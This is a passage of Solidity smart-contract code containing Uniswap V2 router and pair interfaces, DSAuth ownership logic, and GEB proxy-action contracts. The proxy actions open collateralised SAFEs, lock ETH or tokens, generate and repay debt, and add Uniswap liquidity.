event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
interface DSAuthority {
function canCall(
address src, address dst, bytes4 sig
) external view returns (bool);
}
abstract contract DSAuthEvents {
event LogSetAuthority (address indexed authority);
event LogSetOwner (address indexed owner);
}
contract DSAuth is DSAuthEvents {
DSAuthority public authority;
address public owner;
constructor() public {
owner = msg.sender;
emit LogSetOwner(msg.sender);
}
function setOwner(address owner_)
virtual
public
auth
{
owner = owner_;
emit LogSetOwner(owner);
}
function setAuthority(DSAuthority authority_)
virtual
public
auth
{
authority = authority_;
emit LogSetAuthority(address(authority));
}
modifier auth {
require(isAuthorized(msg.sender, msg.sig), "ds-auth-unauthorized");
_;
}
function isAuthorized(address src, bytes4 sig) virtual internal view returns (bool) {
if (src == address(this)) {
return true;
} else if (src == owner) {
return true;
} else if (authority == DSAuthority(0)) {
return false;
} else {
return authority.canCall(src, address(this), sig);
}
}
}
abstract contract CollateralLike {
function approve(address, uint) virtual public;
function transfer(address, uint) virtual public;
function transferFrom(address, address, uint) virtual public;
function deposit() virtual public payable;
function withdraw(uint) virtual public;
}
abstract contract ManagerLike {
function safeCan(address, uint, address) virtual public view returns (uint);
function collateralTypes(uint) virtual public view returns (bytes32);
function ownsSAFE(uint) virtual public view returns (address);
function safes(uint) virtual public view returns (address);
function safeEngine() virtual public view returns (address);
function openSAFE(bytes32, address) virtual public returns (uint);
function transferSAFEOwnership(uint, address) virtual public;
function allowSAFE(uint, address, uint) virtual public;
function allowHandler(address, uint) virtual public;
function modifySAFECollateralization(uint, int, int) virtual public;
function transferCollateral(uint, address, uint) virtual public;
function transferInternalCoins(uint, address, uint) virtual public;
function quitSystem(uint, address) virtual public;
function enterSystem(address, uint) virtual public;
function moveSAFE(uint, uint) virtual public;
function protectSAFE(uint, address, address) virtual public;
}
abstract contract SAFEEngineLike {
function canModifySAFE(address, address) virtual public view returns (uint);
function collateralTypes(bytes32) virtual public view returns (uint, uint, uint, uint, uint);
function coinBalance(address) virtual public view returns (uint);
function safes(bytes32, address) virtual public view returns (uint, uint);
function modifySAFECollateralization(bytes32, address, address, address, int, int) virtual public;
function approveSAFEModification(address) virtual public;
function transferInternalCoins(address, address, uint) virtual public;
}
abstract contract CollateralJoinLike {
function decimals() virtual public returns (uint);
function collateral() virtual public returns (CollateralLike);
function join(address, uint) virtual public payable;
function exit(address, uint) virtual public;
}
abstract contract GNTJoinLike {
function bags(address) virtual public view returns (address);
function make(address) virtual public returns (address);
}
abstract contract DSTokenLike {
function balanceOf(address) virtual public view returns (uint);
function approve(address, uint) virtual public;
function transfer(address, uint) virtual public returns (bool);
function transferFrom(address, address, uint) virtual public returns (bool);
}
abstract contract WethLike {
function balanceOf(address) virtual public view returns (uint);
function approve(address, uint) virtual public;
function transfer(address, uint) virtual public;
function transferFrom(address, address, uint) virtual public;
function deposit() virtual public payable;
function withdraw(uint) virtual public;
}
abstract contract CoinJoinLike {
function safeEngine() virtual public returns (SAFEEngineLike);
function systemCoin() virtual public returns (DSTokenLike);
function join(address, uint) virtual public payable;
function exit(address, uint) virtual public;
}
abstract contract ApproveSAFEModificationLike {
function approveSAFEModification(address) virtual public;
function denySAFEModification(address) virtual public;
}
abstract contract GlobalSettlementLike {
function collateralCashPrice(bytes32) virtual public view returns (uint);
function redeemCollateral(bytes32, uint) virtual public;
function freeCollateral(bytes32) virtual public;
function prepareCoinsForRedeeming(uint) virtual public;
function processSAFE(bytes32, address) virtual public;
}
abstract contract TaxCollectorLike {
function taxSingle(bytes32) virtual public returns (uint);
}
abstract contract CoinSavingsAccountLike {
function savings(address) virtual public view returns (uint);
function updateAccumulatedRate() virtual public returns (uint);
function deposit(uint) virtual public;
function withdraw(uint) virtual public;
}
abstract contract ProxyRegistryLike {
function proxies(address) virtual public view returns (address);
function build(address) virtual public returns (address);
}
abstract contract ProxyLike {
function owner() virtual public view returns (address);
}
contract Common {
uint256 constant RAY = 10 ** 27;
function multiply(uint x, uint y) internal pure returns (uint z) {
require(y == 0 || (z = x * y) / y == x, "mul-overflow");
}
function _coinJoin_join(address apt, address safeHandler, uint wad) internal {
CoinJoinLike(apt).systemCoin().approve(apt, wad);
CoinJoinLike(apt).join(safeHandler, wad);
}
function coinJoin_join(address apt, address safeHandler, uint wad) public {
CoinJoinLike(apt).systemCoin().transferFrom(msg.sender, address(this), wad);
_coinJoin_join(apt, safeHandler, wad);
}
}
contract BasicActions is Common {
function subtract(uint x, uint y) internal pure returns (uint z) {
require((z = x - y) <= x, "sub-overflow");
}
function toInt(uint x) internal pure returns (int y) {
y = int(x);
require(y >= 0, "int-overflow");
}
function toRad(uint wad) internal pure returns (uint rad) {
rad = multiply(wad, 10 ** 27);
}
function convertTo18(address collateralJoin, uint256 amt) internal returns (uint256 wad) {
uint decimals = CollateralJoinLike(collateralJoin).decimals();
wad = amt;
if (decimals < 18) {
wad = multiply(
amt,
10 ** (18 - decimals)
);
} else if (decimals > 18) {
wad = amt / 10 ** (decimals - 18);
}
}
function _getGeneratedDeltaDebt(
address safeEngine,
address taxCollector,
address safeHandler,
bytes32 collateralType,
uint wad
) internal returns (int deltaDebt) {
uint rate = TaxCollectorLike(taxCollector).taxSingle(collateralType);
require(rate > 0, "invalid-collateral-type");
uint coin = SAFEEngineLike(safeEngine).coinBalance(safeHandler);
if (coin < multiply(wad, RAY)) {
deltaDebt = toInt(subtract(multiply(wad, RAY), coin) / rate);
deltaDebt = multiply(uint(deltaDebt), rate) < multiply(wad, RAY) ? deltaDebt + 1 : deltaDebt;
}
}
function _getRepaidDeltaDebt(
address safeEngine,
uint coin,
address safe,
bytes32 collateralType
) internal view returns (int deltaDebt) {
(, uint rate,,,) = SAFEEngineLike(safeEngine).collateralTypes(collateralType);
require(rate > 0, "invalid-collateral-type");
(, uint generatedDebt) = SAFEEngineLike(safeEngine).safes(collateralType, safe);
deltaDebt = toInt(coin / rate);
deltaDebt = uint(deltaDebt) <= generatedDebt ? - deltaDebt : - toInt(generatedDebt);
}
function _getRepaidAlDebt(
address safeEngine,
address usr,
address safe,
bytes32 collateralType
) internal view returns (uint wad) {
(, uint rate,,,) = SAFEEngineLike(safeEngine).collateralTypes(collateralType);
(, uint generatedDebt) = SAFEEngineLike(safeEngine).safes(collateralType, safe);
uint coin = SAFEEngineLike(safeEngine).coinBalance(usr);
uint rad = subtract(multiply(generatedDebt, rate), coin);
wad = rad / RAY;
wad = multiply(wad, RAY) < rad ? wad + 1 : wad;
}
function _generateDebt(address manager, address taxCollector, address coinJoin, uint safe, uint wad, address to) internal {
address safeHandler = ManagerLike(manager).safes(safe);
address safeEngine = ManagerLike(manager).safeEngine();
bytes32 collateralType = ManagerLike(manager).collateralTypes(safe);
modifySAFECollateralization(manager, safe, 0, _getGeneratedDeltaDebt(safeEngine, taxCollector, safeHandler, collateralType, wad));
transferInternalCoins(manager, safe, address(this), toRad(wad));
if (SAFEEngineLike(safeEngine).canModifySAFE(address(this), address(coinJoin)) == 0) {
SAFEEngineLike(safeEngine).approveSAFEModification(coinJoin);
}
CoinJoinLike(coinJoin).exit(to, wad);
}
function _lockETH(
address manager,
address ethJoin,
uint safe,
uint value
) internal {
ethJoin_join(ethJoin, address(this), value);
SAFEEngineLike(ManagerLike(manager).safeEngine()).modifySAFECollateralization(
ManagerLike(manager).collateralTypes(safe),
ManagerLike(manager).safes(safe),
address(this),
address(this),
toInt(value),
0
);
}
function _repayDebt(
address manager,
address coinJoin,
uint safe,
uint wad,
bool transferFromCaller
) internal {
address safeEngine = ManagerLike(manager).safeEngine();
address safeHandler = ManagerLike(manager).safes(safe);
bytes32 collateralType = ManagerLike(manager).collateralTypes(safe);
address own = ManagerLike(manager).ownsSAFE(safe);
if (own == address(this) || ManagerLike(manager).safeCan(own, safe, address(this)) == 1) {
if (transferFromCaller) coinJoin_join(coinJoin, safeHandler, wad);
else _coinJoin_join(coinJoin, safeHandler, wad);
modifySAFECollateralization(manager, safe, 0, _getRepaidDeltaDebt(safeEngine, SAFEEngineLike(safeEngine).coinBalance(safeHandler), safeHandler, collateralType));
} else {
if (transferFromCaller) coinJoin_join(coinJoin, address(this), wad);
else _coinJoin_join(coinJoin, address(this), wad);
SAFEEngineLike(safeEngine).modifySAFECollateralization(
collateralType,
safeHandler,
address(this),
address(this),
0,
_getRepaidDeltaDebt(safeEngine, wad * RAY, safeHandler, collateralType)
);
}
}
function _repayDebtAndFreeETH(
address manager,
address ethJoin,
address coinJoin,
uint safe,
uint collateralWad,
uint deltaWad,
bool transferFromCaller
) internal {
address safeHandler = ManagerLike(manager).safes(safe);
if (transferFromCaller) coinJoin_join(coinJoin, safeHandler, deltaWad);
else _coinJoin_join(coinJoin, safeHandler, deltaWad);
modifySAFECollateralization(
manager,
safe,
-toInt(collateralWad),
_getRepaidDeltaDebt(ManagerLike(manager).safeEngine(), SAFEEngineLike(ManagerLike(manager).safeEngine()).coinBalance(safeHandler), safeHandler, ManagerLike(manager).collateralTypes(safe))
);
transferCollateral(manager, safe, address(this), collateralWad);
CollateralJoinLike(ethJoin).exit(address(this), collateralWad);
CollateralJoinLike(ethJoin).collateral().withdraw(collateralWad);
}
function transfer(address collateral, address dst, uint amt) external {
CollateralLike(collateral).transfer(dst, amt);
}
function ethJoin_join(address apt, address safe) external payable {
ethJoin_join(apt, safe, msg.value);
}
function ethJoin_join(address apt, address safe, uint value) public payable {
CollateralJoinLike(apt).collateral().deposit{value: value}();
CollateralJoinLike(apt).collateral().approve(address(apt), value);
CollateralJoinLike(apt).join(safe, value);
}
function approveSAFEModification(
address safeEngine,
address usr
) external {
ApproveSAFEModificationLike(safeEngine).approveSAFEModification(usr);
}
function denySAFEModification(
address safeEngine,
address usr
) external {
ApproveSAFEModificationLike(safeEngine).denySAFEModification(usr);
}
function openSAFE(
address manager,
bytes32 collateralType,
address usr
) public returns (uint safe) {
safe = ManagerLike(manager).openSAFE(collateralType, usr);
}
function transferSAFEOwnership(
address manager,
uint safe,
address usr
) public {
ManagerLike(manager).transferSAFEOwnership(safe, usr);
}
function transferSAFEOwnershipToProxy(
address proxyRegistry,
address manager,
uint safe,
address dst
) external {
address proxy = ProxyRegistryLike(proxyRegistry).proxies(dst);
if (proxy == address(0) || ProxyLike(proxy).owner() != dst) {
uint csize;
assembly {
csize := extcodesize(dst)
}
require(csize == 0, "dst-is-a-contract");
proxy = ProxyRegistryLike(proxyRegistry).build(dst);
}
transferSAFEOwnership(manager, safe, proxy);
}
function allowSAFE(
address manager,
uint safe,
address usr,
uint ok
) external {
ManagerLike(manager).allowSAFE(safe, usr, ok);
}
function allowHandler(
address manager,
address usr,
uint ok
) external {
ManagerLike(manager).allowHandler(usr, ok);
}
function transferCollateral(
address manager,
uint safe,
address dst,
uint wad
) public {
ManagerLike(manager).transferCollateral(safe, dst, wad);
}
function transferInternalCoins(
address manager,
uint safe,
address dst,
uint rad
) public {
ManagerLike(manager).transferInternalCoins(safe, dst, rad);
}
function modifySAFECollateralization(
address manager,
uint safe,
int deltaCollateral,
int deltaDebt
) public {
ManagerLike(manager).modifySAFECollateralization(safe, deltaCollateral, deltaDebt);
}
function quitSystem(
address manager,
uint safe,
address dst
) external {
ManagerLike(manager).quitSystem(safe, dst);
}
function enterSystem(
address manager,
address src,
uint safe
) external {
ManagerLike(manager).enterSystem(src, safe);
}
function moveSAFE(
address manager,
uint safeSrc,
uint safeDst
) external {
ManagerLike(manager).moveSAFE(safeSrc, safeDst);
}
function lockETH(
address manager,
address ethJoin,
uint safe
) public payable {
_lockETH(manager, ethJoin, safe, msg.value);
}
function freeETH(
address manager,
address ethJoin,
uint safe,
uint wad
) public {
modifySAFECollateralization(manager, safe, -toInt(wad), 0);
transferCollateral(manager, safe, address(this), wad);
CollateralJoinLike(ethJoin).exit(address(this), wad);
CollateralJoinLike(ethJoin).collateral().withdraw(wad);
msg.sender.transfer(wad);
}
function exitETH(
address manager,
address ethJoin,
uint safe,
uint wad
) external {
transferCollateral(manager, safe, address(this), wad);
CollateralJoinLike(ethJoin).exit(address(this), wad);
CollateralJoinLike(ethJoin).collateral().withdraw(wad);
msg.sender.transfer(wad);
}
function generateDebt(
address manager,
address taxCollector,
address coinJoin,
uint safe,
uint wad
) public {
_generateDebt(manager, taxCollector, coinJoin, safe, wad, msg.sender);
}
function repayDebt(
address manager,
address coinJoin,
uint safe,
uint wad
) public {
_repayDebt(manager, coinJoin, safe, wad, true);
}
function lockETHAndGenerateDebt(
address manager,
address taxCollector,
address ethJoin,
address coinJoin,
uint safe,
uint deltaWad
) public payable {
_lockETH(manager, ethJoin, safe, msg.value);
_generateDebt(manager, taxCollector, coinJoin, safe, deltaWad, msg.sender);
}
function openLockETHAndGenerateDebt(
address manager,
address taxCollector,
address ethJoin,
address coinJoin,
bytes32 collateralType,
uint deltaWad
) external payable returns (uint safe) {
safe = openSAFE(manager, collateralType, address(this));
lockETHAndGenerateDebt(manager, taxCollector, ethJoin, coinJoin, safe, deltaWad);
}
function repayDebtAndFreeETH(
address manager,
address ethJoin,
address coinJoin,
uint safe,
uint collateralWad,
uint deltaWad
) external {
_repayDebtAndFreeETH(manager, ethJoin, coinJoin, safe, collateralWad, deltaWad, true);
msg.sender.transfer(collateralWad);
}
}
contract GebProxyActions is BasicActions {
function tokenCollateralJoin_join(address apt, address safe, uint amt, bool transferFrom) public {
if (transferFrom) {
CollateralJoinLike(apt).collateral().transferFrom(msg.sender, address(this), amt);
CollateralJoinLike(apt).collateral().approve(apt, amt);
}
CollateralJoinLike(apt).join(safe, amt);
}
function protectSAFE(
address manager,
uint safe,
address liquidationEngine,
address saviour
) public {
ManagerLike(manager).protectSAFE(safe, liquidationEngine, saviour);
}
function makeCollateralBag(
address collateralJoin
) public returns (address bag) {
bag = GNTJoinLike(collateralJoin).make(address(this));
}
function safeLockETH(
address manager,
address ethJoin,
uint safe,
address owner
) public payable {
require(ManagerLike(manager).ownsSAFE(safe) == owner, "owner-missmatch");
lockETH(manager, ethJoin, safe);
}
function lockTokenCollateral(
address manager,
address collateralJoin,
uint safe,
uint amt,
bool transferFrom
) public {
tokenCollateralJoin_join(collateralJoin, address(this), amt, transferFrom);
SAFEEngineLike(ManagerLike(manager).safeEngine()).modifySAFECollateralization(
ManagerLike(manager).collateralTypes(safe),
ManagerLike(manager).safes(safe),
address(this),
address(this),
toInt(convertTo18(collateralJoin, amt)),
0
);
}
function safeLockTokenCollateral(
address manager,
address collateralJoin,
uint safe,
uint amt,
bool transferFrom,
address owner
) public {
require(ManagerLike(manager).ownsSAFE(safe) == owner, "owner-missmatch");
lockTokenCollateral(manager, collateralJoin, safe, amt, transferFrom);
}
function freeTokenCollateral(
address manager,
address collateralJoin,
uint safe,
uint amt
) public {
uint wad = convertTo18(collateralJoin, amt);
modifySAFECollateralization(manager, safe, -toInt(wad), 0);
transferCollateral(manager, safe, address(this), wad);
CollateralJoinLike(collateralJoin).exit(msg.sender, amt);
}
function exitTokenCollateral(
address manager,
address collateralJoin,
uint safe,
uint amt
) public {
transferCollateral(manager, safe, address(this), convertTo18(collateralJoin, amt));
CollateralJoinLike(collateralJoin).exit(msg.sender, amt);
}
function generateDebtAndProtectSAFE(
address manager,
address taxCollector,
address coinJoin,
uint safe,
uint wad,
address liquidationEngine,
address saviour
) external {
generateDebt(manager, taxCollector, coinJoin, safe, wad);
protectSAFE(manager, safe, liquidationEngine, saviour);
}
function safeRepayDebt(
address manager,
address coinJoin,
uint safe,
uint wad,
address owner
) public {
require(ManagerLike(manager).ownsSAFE(safe) == owner, "owner-missmatch");
repayDebt(manager, coinJoin, safe, wad);
}
function repayAllDebt(
address manager,
address coinJoin,
uint safe
) public {
address safeEngine = ManagerLike(manager).safeEngine();
address safeHandler = ManagerLike(manager).safes(safe);
bytes32 collateralType = ManagerLike(manager).collateralTypes(safe);
(, uint generatedDebt) = SAFEEngineLike(safeEngine).safes(collateralType, safeHandler);
address own = ManagerLike(manager).ownsSAFE(safe);
if (own == address(this) || ManagerLike(manager).safeCan(own, safe, address(this)) == 1) {
coinJoin_join(coinJoin, safeHandler, _getRepaidAlDebt(safeEngine, safeHandler, safeHandler, collateralType));
modifySAFECollateralization(manager, safe, 0, -int(generatedDebt));
} else {
coinJoin_join(coinJoin, address(this), _getRepaidAlDebt(safeEngine, address(this), safeHandler, collateralType));
SAFEEngineLike(safeEngine).modifySAFECollateralization(
collateralType,
safeHandler,
address(this),
address(this),
0,
-int(generatedDebt)
);
}
}
function safeRepayAllDebt(
address manager,
address coinJoin,
uint safe,
address owner
) public {
require(ManagerLike(manager).ownsSAFE(safe) == owner, "owner-missmatch");
repayAllDebt(manager, coinJoin, safe);
}
function openLockETHGenerateDebtAndProtectSAFE(
address manager,
address taxCollector,
address ethJoin,
address coinJoin,
bytes32 collateralType,
uint deltaWad,
address liquidationEngine,
address saviour
) public payable returns (uint safe) {
safe = openSAFE(manager, collateralType, address(this));
lockETHAndGenerateDebt(manager, taxCollector, ethJoin, coinJoin, safe, deltaWad);
protectSAFE(manager, safe, liquidationEngine, saviour);
}
function lockTokenCollateralAndGenerateDebt(
address manager,
address taxCollector,
address collateralJoin,
address coinJoin,
uint safe,
uint collateralAmount,
uint deltaWad,
bool transferFrom
) public {
address safeHandler = ManagerLike(manager).safes(safe);
address safeEngine = ManagerLike(manager).safeEngine();
bytes32 collateralType = ManagerLike(manager).collateralTypes(safe);
tokenCollateralJoin_join(collateralJoin, safeHandler, collateralAmount, transferFrom);
modifySAFECollateralization(manager, safe, toInt(convertTo18(collateralJoin, collateralAmount)), _getGeneratedDeltaDebt(safeEngine, taxCollector, safeHandler, collateralType, deltaWad));
transferInternalCoins(manager, safe, address(this), toRad(deltaWad));
if (SAFEEngineLike(safeEngine).canModifySAFE(address(this), address(coinJoin)) == 0) {
SAFEEngineLike(safeEngine).approveSAFEModification(coinJoin);
}
CoinJoinLike(coinJoin).exit(msg.sender, deltaWad);
}
function lockTokenCollateralGenerateDebtAndProtectSAFE(
address manager,
address taxCollector,
address collateralJoin,
address coinJoin,
uint safe,
uint collateralAmount,
uint deltaWad,
bool transferFrom,
address liquidationEngine,
address saviour
) public {
lockTokenCollateralAndGenerateDebt(
manager,
taxCollector,
collateralJoin,
coinJoin,
safe,
collateralAmount,
deltaWad,
transferFrom
);
protectSAFE(manager, safe, liquidationEngine, saviour);
}
function openLockTokenCollateralAndGenerateDebt(
address manager,
address taxCollector,
address collateralJoin,
address coinJoin,
bytes32 collateralType,
uint collateralAmount,
uint deltaWad,
bool transferFrom
) public returns (uint safe) {
safe = openSAFE(manager, collateralType, address(this));
lockTokenCollateralAndGenerateDebt(manager, taxCollector, collateralJoin, coinJoin, safe, collateralAmount, deltaWad, transferFrom);
}
function openLockTokenCollateralGenerateDebtAndProtectSAFE(
address manager,
address taxCollector,
address collateralJoin,
address coinJoin,
bytes32 collateralType,
uint collateralAmount,
uint deltaWad,
bool transferFrom,
address liquidationEngine,
address saviour
) public returns (uint safe) {
safe = openSAFE(manager, collateralType, address(this));
lockTokenCollateralAndGenerateDebt(manager, taxCollector, collateralJoin, coinJoin, safe, collateralAmount, deltaWad, transferFrom);
protectSAFE(manager, safe, liquidationEngine, saviour);
}
function openLockGNTAndGenerateDebt(
address manager,
address taxCollector,
address gntJoin,
address coinJoin,
bytes32 collateralType,
uint collateralAmount,
uint deltaWad
) public returns (address bag, uint safe) {
bag = GNTJoinLike(gntJoin).bags(address(this));
if (bag == address(0)) {
bag = makeCollateralBag(gntJoin);
}
CollateralLike(CollateralJoinLike(gntJoin).collateral()).transfer(bag, collateralAmount);
safe = openLockTokenCollateralAndGenerateDebt(manager, taxCollector, gntJoin, coinJoin, collateralType, collateralAmount, deltaWad, false);
}
function openLockGNTGenerateDebtAndProtectSAFE(
address manager,
address taxCollector,
address gntJoin,
address coinJoin,
bytes32 collateralType,
uint collateralAmount,
uint deltaWad,
address liquidationEngine,
address saviour
) public returns (address bag, uint safe) {
(bag, safe) = openLockGNTAndGenerateDebt(
manager,
taxCollector,
gntJoin,
coinJoin,
collateralType,
collateralAmount,
deltaWad
);
protectSAFE(manager, safe, liquidationEngine, saviour);
}
function repayAllDebtAndFreeETH(
address manager,
address ethJoin,
address coinJoin,
uint safe,
uint collateralWad
) public {
address safeEngine = ManagerLike(manager).safeEngine();
address safeHandler = ManagerLike(manager).safes(safe);
bytes32 collateralType = ManagerLike(manager).collateralTypes(safe);
(, uint generatedDebt) = SAFEEngineLike(safeEngine).safes(collateralType, safeHandler);
coinJoin_join(coinJoin, safeHandler, _getRepaidAlDebt(safeEngine, safeHandler, safeHandler, collateralType));
modifySAFECollateralization(
manager,
safe,
-toInt(collateralWad),
-int(generatedDebt)
);
transferCollateral(manager, safe, address(this), collateralWad);
CollateralJoinLike(ethJoin).exit(address(this), collateralWad);
CollateralJoinLike(ethJoin).collateral().withdraw(collateralWad);
msg.sender.transfer(collateralWad);
}
function repayDebtAndFreeTokenCollateral(
address manager,
address collateralJoin,
address coinJoin,
uint safe,
uint collateralAmount,
uint deltaWad
) external {
address safeHandler = ManagerLike(manager).safes(safe);
coinJoin_join(coinJoin, safeHandler, deltaWad);
uint collateralWad = convertTo18(collateralJoin, collateralAmount);
modifySAFECollateralization(
manager,
safe,
-toInt(collateralWad),
_getRepaidDeltaDebt(ManagerLike(manager).safeEngine(), SAFEEngineLike(ManagerLike(manager).safeEngine()).coinBalance(safeHandler), safeHandler, ManagerLike(manager).collateralTypes(safe))
);
transferCollateral(manager, safe, address(this), collateralWad);
CollateralJoinLike(collateralJoin).exit(msg.sender, collateralAmount);
}
function repayAllDebtAndFreeTokenCollateral(
address manager,
address collateralJoin,
address coinJoin,
uint safe,
uint collateralAmount
) public {
address safeEngine = ManagerLike(manager).safeEngine();
address safeHandler = ManagerLike(manager).safes(safe);
bytes32 collateralType = ManagerLike(manager).collateralTypes(safe);
(, uint generatedDebt) = SAFEEngineLike(safeEngine).safes(collateralType, safeHandler);
coinJoin_join(coinJoin, safeHandler, _getRepaidAlDebt(safeEngine, safeHandler, safeHandler, collateralType));
uint collateralWad = convertTo18(collateralJoin, collateralAmount);
modifySAFECollateralization(
manager,
safe,
-toInt(collateralWad),
-int(generatedDebt)
);
transferCollateral(manager, safe, address(this), collateralWad);
CollateralJoinLike(collateralJoin).exit(msg.sender, collateralAmount);
}
}
abstract contract GebIncentivesLike {
function stakingToken() virtual public returns (address);
function rewardsToken() virtual public returns (address);
function stake(uint256) virtual public;
function withdraw(uint256) virtual public;
function exit() virtual public;
function balanceOf(address) virtual public view returns (uint256);
function getReward() virtual public;
}
contract GebProxyIncentivesActions is BasicActions {
function _provideLiquidityUniswap(address coinJoin, address uniswapRouter, uint tokenWad, uint ethWad, address to, uint[2] memory minTokenAmounts) internal {
CoinJoinLike(coinJoin).systemCoin().approve(uniswapRouter, tokenWad);
IUniswapV2Router02(uniswapRouter).addLiquidityETH{value: ethWad}(
address(CoinJoinLike(coinJoin).systemCoin()),
tokenWad,
minTokenAmounts[0],
minTokenAmounts[1],
to,
block.timestamp
);
}
function _stakeInMine(address incentives) internal {
DSTokenLike lpToken = DSTokenLike(GebIncentivesLike(incentives).stakingToken());
lpToken.approve(incentives, uint(0 - 1));
GebIncentivesLike(incentives).stake(lpToken.balanceOf(address(this)));
}
function _removeLiquidityUniswap(address uniswapRouter, address systemCoin, uint value, address to, uint[2] memory minTokenAmounts) internal returns (uint amountA, uint amountB) {
DSTokenLike(getWethPair(uniswapRouter, systemCoin)).approve(uniswapRouter, value);
return IUniswapV2Router02(uniswapRouter).removeLiquidityETH(
systemCoin,
value,
minTokenAmounts[0],
minTokenAmounts[1],
to,
block.timestamp
);
}
function openLockETHGenerateDebtProvideLiquidityUniswap(
address manager,
address taxCollector,
address ethJoin,
address coinJoin,
address uniswapRouter,
bytes32 collateralType,
uint deltaWad,
uint liquidityWad,
uint[2] calldata minTokenAmounts
) external payable returns (uint safe) {
safe = openSAFE(manager, collateralType, address(this));
DSTokenLike systemCoin = DSTokenLike(CoinJoinLike(coinJoin).systemCoin());
_lockETH(manager, ethJoin, safe, subtract(msg.value, liquidityWad));
_generateDebt(manager, taxCollector, coinJoin, safe, deltaWad, address(this));
_provideLiquidityUniswap(coinJoin, uniswapRouter, deltaWad, liquidityWad, msg.sender, minTokenAmounts);
msg.sender.call{value: address(this).balance}("");
systemCoin.transfer(msg.sender, systemCoin.balanceOf(address(this)));
}
function lockETHGenerateDebtProvideLiquidityUniswap(
address manager,
address taxCollector,
address ethJoin,
address coinJoin,
address uniswapRouter,
uint safe,
uint deltaWad,
uint liquidityWad,
uint[2] calldata minTokenAmounts
) external payable {
DSTokenLike systemCoin = DSTokenLike(CoinJoinLike(coinJoin).systemCoin());
_lockETH(manager, ethJoin, safe, subtract(msg.value, liquidityWad));
